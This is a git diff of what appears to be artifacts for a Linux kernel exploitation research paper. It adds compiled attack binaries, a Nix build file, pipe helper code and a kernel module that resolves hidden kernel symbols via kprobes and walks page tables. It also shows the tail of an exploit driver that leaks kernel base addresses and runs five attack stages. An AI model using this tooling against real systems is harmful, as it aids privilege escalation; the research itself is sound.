||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
lkm_init();
|
||||
lkm_init();
|
||||
|
||||
lkm_virt_base_leak((size_t)&virt_base);
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] virt_base %016zx\n", virt_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
lkm_virt_base_leak((size_t)&virt_base);
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] virt_base %016zx\n", virt_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
||||
|
|
BIN
paper/artifacts/attacks/advanced_slubstick.elf
Executable file
BIN
paper/artifacts/attacks/advanced_slubstick.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/attacks/dirty_page.elf
Executable file
BIN
paper/artifacts/attacks/dirty_page.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/attacks/pipe_unlink.elf
Executable file
BIN
paper/artifacts/attacks/pipe_unlink.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/attacks/stack_attack.elf
Executable file
BIN
paper/artifacts/attacks/stack_attack.elf
Executable file
Binary file not shown.
61
paper/artifacts/flake.lock
generated
Normal file
61
paper/artifacts/flake.lock
generated
Normal file
|
@ -0,0 +1,61 @@
|
|||
{
|
||||
"nodes": {
|
||||
"flake-utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1731533236,
|
||||
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1739863612,
|
||||
"narHash": "sha256-UbtgxplOhFcyjBcNbTVO8+HUHAl/WXFDOb6LvqShiZo=",
|
||||
"owner": "nixos",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "632f04521e847173c54fa72973ec6c39a371211c",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nixos",
|
||||
"ref": "nixpkgs-unstable",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
23
paper/artifacts/flake.nix
Normal file
23
paper/artifacts/flake.nix
Normal file
|
@ -0,0 +1,23 @@
|
|||
{
|
||||
inputs = {
|
||||
nixpkgs.url = "github:nixos/nixpkgs/nixpkgs-unstable";
|
||||
flake-utils.url = "github:numtide/flake-utils";
|
||||
};
|
||||
|
||||
outputs = { nixpkgs, flake-utils, ... }: flake-utils.lib.eachSystem [
|
||||
"x86_64-linux" "i686-linux" "aarch64-linux" "x86_64-darwin"
|
||||
] (system: let
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
};
|
||||
in {
|
||||
devShells.default = pkgs.mkShell {
|
||||
packages = with pkgs; [
|
||||
pkg-config
|
||||
clang-tools
|
||||
clang
|
||||
libgcc
|
||||
];
|
||||
};
|
||||
});
|
||||
}
|
BIN
paper/artifacts/generic/dpm_leak.elf
Executable file
BIN
paper/artifacts/generic/dpm_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/generic/msg_cleanup.elf
Executable file
BIN
paper/artifacts/generic/msg_cleanup.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/generic/page_type_diff.elf
Executable file
BIN
paper/artifacts/generic/page_type_diff.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/generic/vmalloc_leak.elf
Executable file
BIN
paper/artifacts/generic/vmalloc_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/generic/vmemmap_leak.elf
Executable file
BIN
paper/artifacts/generic/vmemmap_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/heap/cred_leak.elf
Executable file
BIN
paper/artifacts/heap/cred_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/heap/file_leak.elf
Executable file
BIN
paper/artifacts/heap/file_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/heap/msg_msg_leak.elf
Executable file
BIN
paper/artifacts/heap/msg_msg_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/heap/pipe_buffer_leak.elf
Executable file
BIN
paper/artifacts/heap/pipe_buffer_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/heap/seq_file_leak.elf
Executable file
BIN
paper/artifacts/heap/seq_file_leak.elf
Executable file
Binary file not shown.
|
@ -1,56 +1,63 @@
|
|||
#pragma once
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
void alloc_pipes(int *pipefd, int flags)
|
||||
#include <fcntl.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void
|
||||
alloc_pipes(int *pipefd, int flags)
|
||||
{
|
||||
int ret = pipe2(pipefd, flags);
|
||||
if (ret < 0) {
|
||||
perror("pipe2");
|
||||
exit(-1);
|
||||
}
|
||||
int ret = pipe2(pipefd, flags);
|
||||
if (ret < 0) {
|
||||
perror("pipe2");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_pipe(int fd, char *buf, size_t sz)
|
||||
void
|
||||
write_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("write(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
int ret = write(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("write(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void resize_pipe(int fd, size_t nr_slots)
|
||||
void
|
||||
resize_pipe(int fd, size_t nr_slots)
|
||||
{
|
||||
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
|
||||
if (ret < 0) {
|
||||
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
|
||||
exit(-1);
|
||||
}
|
||||
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
|
||||
if (ret < 0) {
|
||||
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int write_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
int
|
||||
write_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
return ret;
|
||||
int ret = write(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void read_pipe(int fd, char *buf, size_t sz)
|
||||
void
|
||||
read_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("read(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
int ret = read(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("read(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int read_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
int
|
||||
read_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
||||
int ret = read(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
#include <linux/device.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/module.h>
|
||||
#include <asm/io.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/pgtable.h>
|
||||
#include <asm/pgtable_64.h>
|
||||
#include <linux/kprobes.h>
|
||||
#include <linux/ipc_namespace.h>
|
||||
#include <linux/msg.h>
|
||||
#include <linux/device.h>
|
||||
#include <linux/fdtable.h>
|
||||
#include <linux/fs.h>
|
||||
#include <linux/ipc_namespace.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/kprobes.h>
|
||||
#include <linux/module.h>
|
||||
#include <linux/msg.h>
|
||||
#include <linux/pgtable.h>
|
||||
#include <linux/pipe_fs_i.h>
|
||||
#include <linux/slab.h>
|
||||
|
||||
#include "include/lkm.h"
|
||||
|
||||
#define DEVICE_NAME "lkm"
|
||||
#define CLASS_NAME "lkmclass"
|
||||
#define CLASS_NAME "lkmclass"
|
||||
|
||||
int lkm_init_device_driver(void);
|
||||
static int lkm_init(void);
|
||||
|
@ -49,33 +49,15 @@ unsigned long __text;
|
|||
unsigned long vmemmap_base;
|
||||
unsigned long vmalloc_base;
|
||||
unsigned long __end;
|
||||
static struct kprobe kp = {
|
||||
.symbol_name = "init_top_pgt"
|
||||
};
|
||||
static struct kprobe kp1 = {
|
||||
.symbol_name = "module_alloc"
|
||||
};
|
||||
static struct kprobe kp2 = {
|
||||
.symbol_name = "set_memory_rox"
|
||||
};
|
||||
static struct kprobe kp3 = {
|
||||
.symbol_name = "ipc_obtain_object_check"
|
||||
};
|
||||
static struct kprobe kp4 = {
|
||||
.symbol_name = "slub_addr_base"
|
||||
};
|
||||
static struct kprobe kp5 = {
|
||||
.symbol_name = "_text"
|
||||
};
|
||||
static struct kprobe kp6 = {
|
||||
.symbol_name = "vmemmap_base"
|
||||
};
|
||||
static struct kprobe kp7 = {
|
||||
.symbol_name = "vmalloc_base"
|
||||
};
|
||||
static struct kprobe kp8 = {
|
||||
.symbol_name = "__brk_dmi_alloc"
|
||||
};
|
||||
static struct kprobe kp = { .symbol_name = "init_top_pgt" };
|
||||
static struct kprobe kp1 = { .symbol_name = "module_alloc" };
|
||||
static struct kprobe kp2 = { .symbol_name = "set_memory_rox" };
|
||||
static struct kprobe kp3 = { .symbol_name = "ipc_obtain_object_check" };
|
||||
static struct kprobe kp4 = { .symbol_name = "slub_addr_base" };
|
||||
static struct kprobe kp5 = { .symbol_name = "_text" };
|
||||
static struct kprobe kp6 = { .symbol_name = "vmemmap_base" };
|
||||
static struct kprobe kp7 = { .symbol_name = "vmalloc_base" };
|
||||
static struct kprobe kp8 = { .symbol_name = "__brk_dmi_alloc" };
|
||||
|
||||
#define OBJS_SZ (1ULL << 20)
|
||||
void *objs[OBJS_SZ];
|
||||
|
@ -87,13 +69,15 @@ void *objs[OBJS_SZ];
|
|||
#define V6_5
|
||||
#define V6_6
|
||||
#define V6_8
|
||||
int lkm_init_device_driver(void)
|
||||
int
|
||||
lkm_init_device_driver(void)
|
||||
{
|
||||
int ret;
|
||||
printk(KERN_INFO "lkm:init_device_driver: start\n");
|
||||
|
||||
ret = register_chrdev(0, DEVICE_NAME, &lkm_fops);
|
||||
if (ret < 0) goto ERROR;
|
||||
if (ret < 0)
|
||||
goto ERROR;
|
||||
lkm_major = ret;
|
||||
#if defined(V6_5) || defined(V6_8) || defined(V6_6)
|
||||
lkm_class = class_create(CLASS_NAME);
|
||||
|
@ -105,13 +89,16 @@ int lkm_init_device_driver(void)
|
|||
goto ERROR1;
|
||||
}
|
||||
|
||||
lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, DEVICE_NAME);
|
||||
lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0,
|
||||
DEVICE_NAME);
|
||||
if (IS_ERR(lkm_device)) {
|
||||
ret = PTR_ERR(lkm_device);
|
||||
goto ERROR2;
|
||||
}
|
||||
|
||||
printk(KERN_INFO "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", DEVICE_NAME, lkm_major);
|
||||
printk(KERN_INFO
|
||||
"lkm:init_device_driver: done '/dev/%s c %d' 0 created\n",
|
||||
DEVICE_NAME, lkm_major);
|
||||
return 0;
|
||||
|
||||
ERROR2:
|
||||
|
@ -132,34 +119,38 @@ ERROR:
|
|||
/*
|
||||
* Initialization
|
||||
*/
|
||||
static int lkm_init(void)
|
||||
static int
|
||||
lkm_init(void)
|
||||
{
|
||||
int ret;
|
||||
printk(KERN_INFO "lkm:init: start\n");
|
||||
|
||||
ret = lkm_init_device_driver();
|
||||
if (ret) goto ERROR;
|
||||
if (ret)
|
||||
goto ERROR;
|
||||
|
||||
register_kprobe(&kp);
|
||||
register_kprobe(&kp);
|
||||
_init_top_pgt = (void *)kp.addr;
|
||||
register_kprobe(&kp1);
|
||||
register_kprobe(&kp1);
|
||||
module_alloc = (void *(*)(unsigned long))kp1.addr;
|
||||
register_kprobe(&kp2);
|
||||
set_memory_rox = (int(*)(unsigned long, int))kp2.addr;
|
||||
register_kprobe(&kp3);
|
||||
ipc_obtain_object_check = (struct msg_queue *(*)(struct ipc_ids *, int))kp3.addr;
|
||||
register_kprobe(&kp4);
|
||||
register_kprobe(&kp2);
|
||||
set_memory_rox = (int (*)(unsigned long, int))kp2.addr;
|
||||
register_kprobe(&kp3);
|
||||
ipc_obtain_object_check = (struct msg_queue *
|
||||
(*)(struct ipc_ids *, int)) kp3.addr;
|
||||
register_kprobe(&kp4);
|
||||
slub_addr_base = *(unsigned long *)kp4.addr;
|
||||
register_kprobe(&kp5);
|
||||
register_kprobe(&kp5);
|
||||
__text = (unsigned long)kp5.addr;
|
||||
register_kprobe(&kp6);
|
||||
register_kprobe(&kp6);
|
||||
vmemmap_base = *(unsigned long *)kp6.addr;
|
||||
register_kprobe(&kp7);
|
||||
register_kprobe(&kp7);
|
||||
vmalloc_base = *(unsigned long *)kp7.addr;
|
||||
register_kprobe(&kp8);
|
||||
register_kprobe(&kp8);
|
||||
__end = (unsigned long)kp8.addr;
|
||||
|
||||
printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", (size_t)_init_top_pgt);
|
||||
printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n",
|
||||
(size_t)_init_top_pgt);
|
||||
printk(KERN_INFO "lkm:init: lkm_class %016zx\n", (size_t)lkm_class);
|
||||
printk(KERN_INFO "lkm:init: lkm_ioctl %016zx\n", (size_t)lkm_ioctl);
|
||||
|
||||
|
@ -174,18 +165,19 @@ ERROR:
|
|||
/*
|
||||
* Cleanup
|
||||
*/
|
||||
static void lkm_cleanup(void)
|
||||
static void
|
||||
lkm_cleanup(void)
|
||||
{
|
||||
printk(KERN_INFO "lkm:cleanup\n");
|
||||
unregister_kprobe(&kp);
|
||||
unregister_kprobe(&kp1);
|
||||
unregister_kprobe(&kp2);
|
||||
unregister_kprobe(&kp3);
|
||||
unregister_kprobe(&kp4);
|
||||
unregister_kprobe(&kp5);
|
||||
unregister_kprobe(&kp6);
|
||||
unregister_kprobe(&kp7);
|
||||
unregister_kprobe(&kp8);
|
||||
unregister_kprobe(&kp);
|
||||
unregister_kprobe(&kp1);
|
||||
unregister_kprobe(&kp2);
|
||||
unregister_kprobe(&kp3);
|
||||
unregister_kprobe(&kp4);
|
||||
unregister_kprobe(&kp5);
|
||||
unregister_kprobe(&kp6);
|
||||
unregister_kprobe(&kp7);
|
||||
unregister_kprobe(&kp8);
|
||||
device_destroy(lkm_class, MKDEV(lkm_major, 0));
|
||||
class_unregister(lkm_class);
|
||||
class_destroy(lkm_class);
|
||||
|
@ -195,7 +187,8 @@ static void lkm_cleanup(void)
|
|||
/*
|
||||
* Close "/dev/lkm"
|
||||
*/
|
||||
int lkm_release(struct inode *inode, struct file *filep)
|
||||
int
|
||||
lkm_release(struct inode *inode, struct file *filep)
|
||||
{
|
||||
printk(KERN_INFO "lkm:release\n");
|
||||
module_put(THIS_MODULE);
|
||||
|
@ -206,7 +199,8 @@ EXPORT_SYMBOL(lkm_release);
|
|||
/*
|
||||
* Open "/dev/lkm"
|
||||
*/
|
||||
int lkm_open(struct inode *inode, struct file *filp)
|
||||
int
|
||||
lkm_open(struct inode *inode, struct file *filp)
|
||||
{
|
||||
printk(KERN_INFO "lkm:open\n");
|
||||
try_module_get(THIS_MODULE);
|
||||
|
@ -215,114 +209,116 @@ int lkm_open(struct inode *inode, struct file *filp)
|
|||
EXPORT_SYMBOL(lkm_open);
|
||||
|
||||
#pragma GCC push_options
|
||||
#pragma GCC optimize ("O0")
|
||||
void lkm_alloc(size_t id, size_t loc, size_t size)
|
||||
#pragma GCC optimize("O0")
|
||||
void
|
||||
lkm_alloc(size_t id, size_t loc, size_t size)
|
||||
{
|
||||
switch (loc) {
|
||||
case 0:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 1:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 2:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 3:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 4:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 5:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 6:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 7:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 8:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 9:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 10:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 11:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 12:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 13:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 14:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 15:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 16:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 17:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 18:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 19:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 20:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 21:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 22:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 23:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 24:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 25:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 26:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 27:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 28:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 29:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 30:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 31:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
default:
|
||||
printk(KERN_ERR "lkm:alloc: invalid loc\n");
|
||||
break;
|
||||
case 0:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 1:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 2:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 3:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 4:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 5:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 6:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 7:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 8:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 9:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 10:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 11:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 12:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 13:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 14:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 15:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 16:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 17:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 18:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 19:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 20:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 21:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 22:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 23:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 24:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 25:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 26:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 27:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 28:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 29:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 30:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 31:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
default:
|
||||
printk(KERN_ERR "lkm:alloc: invalid loc\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
#pragma GCC pop_options
|
||||
|
||||
pte_t *page_walk_pte(size_t addr)
|
||||
pte_t *
|
||||
page_walk_pte(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
|
@ -362,7 +358,8 @@ pte_t *page_walk_pte(size_t addr)
|
|||
|
||||
return pte;
|
||||
}
|
||||
pmd_t *page_walk_pmd(size_t addr)
|
||||
pmd_t *
|
||||
page_walk_pmd(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
|
@ -395,7 +392,8 @@ pmd_t *page_walk_pmd(size_t addr)
|
|||
return pmd;
|
||||
}
|
||||
|
||||
bool isLargePage(size_t addr)
|
||||
bool
|
||||
isLargePage(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
|
@ -436,13 +434,15 @@ bool isLargePage(size_t addr)
|
|||
return 0;
|
||||
}
|
||||
|
||||
void dpm_test(void)
|
||||
void
|
||||
dpm_test(void)
|
||||
{
|
||||
int max_large = 10;
|
||||
int max_large = 10;
|
||||
size_t start = 0;
|
||||
size_t end = 32ULL*1024ULL*1024ULL*1024ULL;
|
||||
printk(KERN_INFO "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n",
|
||||
start, end, (size_t)__va(start), (size_t)__va(end));
|
||||
size_t end = 32ULL * 1024ULL * 1024ULL * 1024ULL;
|
||||
printk(KERN_INFO
|
||||
"lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n",
|
||||
start, end, (size_t)__va(start), (size_t)__va(end));
|
||||
size_t count = 0;
|
||||
size_t paddr;
|
||||
for (paddr = start; paddr < end; paddr += PMD_SIZE) {
|
||||
|
@ -454,29 +454,34 @@ void dpm_test(void)
|
|||
size_t pagecachedisabled = 0;
|
||||
size_t global = 0;
|
||||
size_t _paddr;
|
||||
for (_paddr = paddr; _paddr < paddr + PMD_SIZE; _paddr += PAGE_SIZE) {
|
||||
for (_paddr = paddr; _paddr < paddr + PMD_SIZE;
|
||||
_paddr += PAGE_SIZE) {
|
||||
size_t vaddr = (size_t)phys_to_virt(_paddr);
|
||||
pte_t *pte = page_walk_pte(vaddr);
|
||||
if (!pte) {
|
||||
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte 0\n", vaddr);
|
||||
// printk(KERN_DEBUG "lkm:dpm_test:
|
||||
// vaddr %016zx pte 0\n", vaddr);
|
||||
continue;
|
||||
}
|
||||
diff += !!((pte->pte & 0xfff) ^ 0x163);
|
||||
writable += !!(pte->pte & _PAGE_RW);
|
||||
pagecachedisabled += !!(pte->pte & _PAGE_PCD);
|
||||
global += !!(pte->pte & _PAGE_GLOBAL);
|
||||
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte %016zx\n", vaddr, pte->pte);
|
||||
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx
|
||||
// pte %016zx\n", vaddr, pte->pte);
|
||||
count++;
|
||||
}
|
||||
printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", vaddr, diff, writable, pagecachedisabled, global);
|
||||
}
|
||||
else if (max_large > 0 && isLargePage(vaddr))
|
||||
{
|
||||
printk(KERN_DEBUG
|
||||
"lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n",
|
||||
vaddr, diff, writable, pagecachedisabled, global);
|
||||
} else if (max_large > 0 && isLargePage(vaddr)) {
|
||||
max_large--;
|
||||
printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", vaddr);
|
||||
printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n",
|
||||
vaddr);
|
||||
}
|
||||
}
|
||||
printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, (end - start) / PAGE_SIZE);
|
||||
printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count,
|
||||
(end - start) / PAGE_SIZE);
|
||||
|
||||
pmd_t *_text_pmd = page_walk_pmd(__text);
|
||||
pmd_t *_end_pmd = page_walk_pmd(__end);
|
||||
|
@ -484,11 +489,14 @@ void dpm_test(void)
|
|||
printk(KERN_INFO "lkm:dpm_text: _end %016zx\n", __end);
|
||||
size_t _text_pa = (size_t)__va(_text_pmd->pmd & 0xfffffffff000);
|
||||
size_t _end_pa = (size_t)__va(_end_pmd->pmd & 0xfffffffff000);
|
||||
printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, isLargePage(_text_pa) ? "2MB page" : "4k page");
|
||||
printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, isLargePage(_end_pa) ? "2MB page" : "4k page");
|
||||
printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa,
|
||||
isLargePage(_text_pa) ? "2MB page" : "4k page");
|
||||
